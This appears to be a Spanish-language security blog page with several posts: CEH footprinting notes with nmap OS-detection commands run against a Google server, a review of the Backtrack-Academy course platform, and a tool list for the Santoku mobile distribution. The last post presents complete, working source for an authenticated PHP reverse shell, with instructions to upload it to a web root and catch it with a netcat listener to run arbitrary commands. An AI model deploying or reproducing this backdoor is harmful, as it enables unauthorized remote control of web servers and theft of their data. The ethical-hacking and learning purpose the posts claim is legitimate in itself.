  • Banner grabbing : es una técnica de enumeración utilizado para recopilar información acerca de un sistema informático en una red y los servicios que se ejecutan en sus puertos abiertos
  • War walking or War Driving: Se usa para describir la accion de salir en busquedas de redes wifi ya sea caminando o en auto. es una practica comun para intentar obtener acceso a la red privada del objetivo
No pasare a explicar estos temas ya que se han detallado en otros artículos pasados. y son practica sencillas del dia a dia.

Las guías también nos hablan de War Dialing ya poco usadas o definitivamente eliminadas por los nuevos conceptos de red :
  • War dialing: técnica utilizada durante las décadas de los años 1980 y 1990, que consistía en hacer llamadas a una serie de números de teléfono automáticamente con el fin de encontrar módems conectados y permitiendo la conexión con algún otro ordenador

Ademas de las herramientas ya anteriormente nombradas y nuestro querido Nmap. existen miles de estas que pueden ayudarnos a encontrar esta información.

Nmap nos ofrece parametros para intentar identificar el sistema operativo del host, como tambien existe scripts para Nmap que fuerza la busqueda de las versiones del S.O y nos puede dar con mas claridad y certeza la version del sistema un ejemplo de identificacion seria el siguiente sigamos tomando como ejemplo la direccion dada de un servidor de google.com 173.194.112.80.

Los parametros que podriamos usar en Nmap para identificar S.O serian los siguientes:

  • -sV = detecta las versiones
  • -O = se intenta identificar el Sistema Operativo
  • -A = habilita OS fingerprinting y detección de versión
  • -P  = Establece el puerto a scanear ejemplo "139" puerto NetBios




C:\Users\Antony>nmap -O 173.194.112.80

Starting Nmap 6.40 ( http://nmap.org ) at 2015-04-15 17:33 Hora est. PacÝfico, SudamÚrica
Nmap scan report for fra07s29-in-f16.1e100.net (173.194.112.80)
Host is up (0.13s latency).
Not shown: 998 filtered ports
PORT    STATE SERVICE
80/tcp  open  http
443/tcp open  https
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): OpenBSD 4.X (85%)
OS CPE: cpe:/o:openbsd:openbsd:4.0
Aggressive OS guesses: OpenBSD 4.0 (85%), OpenBSD 4.3 (85%)
No exact OS matches for host (test conditions non-ideal).


La consulta anterior nos muestra como resultado puertos al descubierto 80 y 443 y una probabilidad de un 85% que el sistema es OpenBSD version 4.3.

cuando la informacion no es precisa usaremos unos de los script de nmap smb-os-discovery.nse el cual nos ayuda a descubrir el S.O del host.
un ejemplo seria:
nmap -sS -O --script smb-os-discovery.nse ip

pueden ver mayor información sobre la detección de S.O con  Nmap en su web oficial
http://nmap.org/book/man-os-detection.html

Una de las herramientas en stock para cualquier pentester es Xprobe la cual algo de su lógica ha sido absorbido por Nmap y es básicamente una  herramienta activa OS Fingerprinting que envía datos reales a la máquina.

Mapping the Network

Una vez recopilada toda la información necesaria el auditor de seguridad realiza un mapa de la posible red del objetivo.
Esto es principalmente un proceso manual, aunque existen algunas herramientas automatizadas para
esto, como Nlog, que puede ayudar a compilar el resultado de NMap Cheops

Esto es lo que básicamente nos exponen las diferentes Guía CEH para realizar un pre-pentesting exitoso.


Fuentes: The CEH  Prep Guide.


Read more

Analisis de la plataforma Backtrack-Academy


he estado mirando lo que promete ser una gran plataforma colaborativa y educativa de ethical hacking y todo lo relacionado con la seguridad informática y hasta el momento la plataforma es gratuita. por el momento he tomado los cursos de Wireshark para pentester y Pentesting Avanzado. ambos cursos dirigidos por Rodolfo Cecena.

BacktrackAcademy es una comunidad sin animo de lucro. Actualmente la comunidad de miembros y colaboradores son de distintos países de latinoamericana.

Curso. wire. final 01

el curso de wireshark para pentester. me parece un curso básico y muy bien estructurado para los principiantes, donde te van explicando a través de vídeos desde tus primeros pasos con la herramienta conociendo la GUI hasta el análisis de paquetes y filtrados. del curso podemos decir que es un curso intermedio. pero donde aprenderás algo nuevo si lo desconocen y los animaran a explorar y conocer mas sobre todas estas herramientas.

Metaex 01

El curso de Pentesting Avanzado. es una introducción al ethical hacking donde veras explicaciones  y laboratorios sobre el análisis forense, pentesting sobre windows 7, aplicaciones web,  creacion de botnet, de AP (Acces Point) Falso. explotación de vulnerabilidades,Assembler, Debugger, etc..

En este curso se vera rápidamente varias técnicas de pentesting muy bien explicadas y claras. se vera un ejemplo de explotación de la vulnerabilidad ya parchada ShellShock. todo esto claro como propósito académico.

Espero que disfruten de esta plataforma y colaboremos entre todos en el crecimiento de esta.

Saludos!!

Para conocer mayot informacion sobre la plataforma y los cursos publicados visiten su web oficial y paginas de social para conocer noticias y actualizaciones sobre la plataforma y cursos.



Read more

Santoku Linux - una Distro enfocada a dispositivos móviles


Mobile Forensics, Análisis de Malware y Pentesting

Es muy conocido que existen miles de distro para propósitos de seguridad y se multiplican como conejos por su gran versatilidad y facilidad para montar rápidamente laboratorios de pruebas.

Sin embargo esta distro me ha llamado algo la atención no es una mas de las demas conocidas ya que esta tiene como focus los dispositivos moviles una tecnología que ha tomado mucho auge en nuestro ámbito. la distro contiene una gran cantidad de herramientas Open Source para facilitarnos en tres trabajos, Análisis Forense a dispositivos móviles,  análisis de malware y pentesting. todo esto centrado a las plataformas móviles como Android, iOS y Windows Phone.

Contenido
Estas son algunas de las herramientas que podemos encontrar en la distro.

Herramientas de desarrollo:

  • Android SDK Manager
  • DroidBox
  • Eclipse IDE
  • AXMLPrinter2
  • Fastboot
  • Heimdall
  • SBF Flash
  • BlackBerry JDE
  • BlackBerry Tablet OS SDK
  • BlackBerry Ripple
  • BlackBerry WebWorks
  • Windows Phone SDK
  • SecurityCompass Lab Server (HTTP y HTTPS)

Analizadores Wireless

  • Chaosreader
  • dnschef
  • DSniff
  • TCPDUMP
  • Wireshark

Ingeniería inversa:

  • Androguard
  • Antilvl
  • APK Tool
  • Baksmali
  • Dex2Jar
  • Jasmin
  • JD-GUI
  • Mercury
  • Radare2
  • Smali

Herramientas forenses:

  • AFLogical Open Source Edition
  • Android Brute Force Encryption
  • ExifTool
  • iPhone Backup Analyzer
  • libimobiledevice
  • scalpel
  • Sleuth Kit

Pruebas de Penetración:

  • Burp Suite
  • Ettercap
  • nmap
  • SSL Strip
  • w3af
  • ZAP
  • Zenmap

Infraestructura móvil:

  • BES Express
  • Google Mobile Management
  • iPhone Configuration Tool

En el blog oficial  y How To de la distro podrá encontrar unos buena documentación (Ingles) en el uso de las herramientas bajo la distro.






Read more

PHP Shell Inversa v1.0 - Autenticación de funciones.



Esta herramienta está diseñada para situaciones en la que un pentester tiene acceso a un servidor web que ejecuta PHPy requiere de una Shell para trabajos de Ethical Hacking.

Este Script se debe subir en algún lugar de la raíz  del sitio web, después ejecutarlo accediendo a la URL correspondiente en su navegador. La Shell se abrirá bajo una conexión TCP desde el servidor web a un host y el puerto definido en el guión.

Esta Shell es adecuada para que se puedan ejecutar programas interactivos como Telnet y SSH.
Esta Shell tiene una función de autenticación incorporada que evita que otra persona abuse de su Backdoor.
Se diferencia de las demas Shell de formulario de autenticacion basado en Web que le permite enviar un solo comando,

Modificación de conexión en el Cod. 


1
2
3
$ip = "127.0.0.1"; #Cambie esto a su IP 
$puerto = 4444;      #Cambie esto a su puerto
$contraseña = base64_decode("aGFja3N5c3RlYW0="); #Contraseña por defecto: hacksysteam (MD5)

Cambie los valores según su necesidad y situación

Configuración de NetCat Receptor:

Inicie un receptor Netcat en un host y el puerto que será accesible por el servidor web.
Utilice el mismo puerto en este momento según lo especificado en el script de shell inversa, por ejemplo, (4444):


1
C:\Users\Antony\netcat>:~ # nc -lvvp 4444

Subir el Script y Ejecutarlo:
Subir el Script de Shell Inversa. Ejecute el script simplemente buscando el archivo recién cargado en su navegador web.


1
http:/<IP>/<RUTA/<Script>.php


Nota: No verá ninguna salida en la página web, si esta tiene activada (display errors) puede que muestre algun warning o error y la pagina queda en un lapso de espera, de ser asi haga caso omiso y revise su NetCat Listener.

En el encontrara la captura del login del script, digite la contraseña configurada para ingresar a la Shell:


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
C:\Users\Antony\netcat>nc -lvvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost127.0.0.1 [127.0.0.1] 4077

 _    _            _     _____
| |  | |          | |   / ____|
| |__| | __ _  ___| | _| (___  _   _ ___
|  __  |/ _` |/ __| |/ /\___ \| | | / __|
| |  | | (_| | (__|   < ____) | |_| \__ \
|_|  |_|\__,_|\___|_|\_\_____/ \__, |___/
 _______                        __/ |
|__   __|                      |___/
   | | ___  __ _ _ __ ___
   | |/ _ \/ _` | '_ ` _ \
   | |  __/ (_| | | | | | |
   |_|\___|\__,_|_| |_| |_|

    Reverse Shell in PHP
    Author: Ashfaq Ansari
   hacksysteam@hotmail.com
 http://hacksys.vfreaks.com/

Enter Password: hacksysteam

Authentication Successfull..

System Information:

Current Working Directory:
User Group:
Current Date and Time: La fecha actual es: 09/03/2015
Escriba la nueva fecha: (dd-mm-aa)

@127.0.0.1:~#


Código Fuente de la Shell Inversa


  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
<?php
###################################################
#               Reverse Shell v1.0                #
#             Authentication Feature              #
#                                                 #
#            Hacksys Team - Panthera              #
#             Author: Ashfaq Ansari               #
#            hacksysteam@hotmail.com              #
#          http://hacksys.vfreaks.com             #
#              Designed for Linux                 #
#             Thanks to lionaneesh                #
#             lionaneesh@gmail.com                #
###################################################

ini_set('max_execution_time' ,0);

$VERSION = "1.0";
$ip = "127.0.0.1"; #Change this
$port = 4444;      #Change this
$password = base64_decode("aGFja3N5c3RlYW0="); #Default Password: hacksysteam (MD5)

$banner = ("
 _    _            _     _____            
| |  | |          | |   / ____|                            
| |__| | __ _  ___| | _| (___  _   _ ___
|  __  |/ _` |/ __| |/ /\___ \| | | / __|
| |  | | (_| | (__|   < ____) | |_| \__ \
|_|  |_|\__,_|\___|_|\_\_____/ \__, |___/
 _______                        __/ |                                
|__   __|                      |___/  
   | | ___  __ _ _ __ ___  
   | |/ _ \/ _` | '_ ` _ \
   | |  __/ (_| | | | | | |
   |_|\___|\__,_|_| |_| |_|
   
    Reverse Shell in PHP
    Author: Ashfaq Ansari
   hacksysteam@hotmail.com
 http://hacksys.vfreaks.com/\n\n");

$pwd = shell_exec("pwd");
$sysinfo = shell_exec("uname -a");
$id = shell_exec('id | cut -d "(" -f 2 | cut -d ")" -f 1' );
$date = shell_exec("date");
$len = 1337;
$info =
("
System Information:\n$sysinfo
Current Working Directory: $pwd
User Group: $id
Current Date and Time: $date\n
");

print "\nTrying to connect to: $ip on port $port ...\n\n";

$sockfd = fsockopen($ip , $port , $errno, $errstr );

if($errno != 0)
  {
    print "\n****** Error Occured ******\nError Nnumber: $errno\nError String: $errstr\n\n";
    die(0);
  }
else if (!$sockfd)
  {
    print "Fatal : An unexpected error was occured when trying to connect!\n";
  }
else
  {
    print "Connected to: $ip on port $port ...\n\n";
    fputs ($sockfd , $banner);
    fputs($sockfd ,"Enter Password: ");
    $getpass = trim(fgets($sockfd, strlen($password) + 2));

    if ($getpass == $password)
    {
      fputs($sockfd, "\nAuthentication Successfull..\n");
      fputs($sockfd, $info);
      while(!feof($sockfd))
      {
    $cmdPrompt = trim($id) . "@" . trim($ip) . ":~" . trim($pwd) . "# ";
    fputs ($sockfd , $cmdPrompt );
    $command = trim(fgets($sockfd, $len));
        if (trim($command) == "exit")
    {
      fputs($sockfd ,"\nAborted by user... Exiting..." );
      fclose($sockfd);
      die(0);
    }
    fputs($sockfd , "\n" . shell_exec($command) . "\n");
      }
      fclose($sockfd);
      die(0);
    }
    else
    {
      fputs($sockfd ,"\nInvalid Password... Quitting...");
      fclose($sockfd);
      die(0);
    }
  }
?>



Agradecimiento a @Ashfaq Ansari autor del Script.




Read more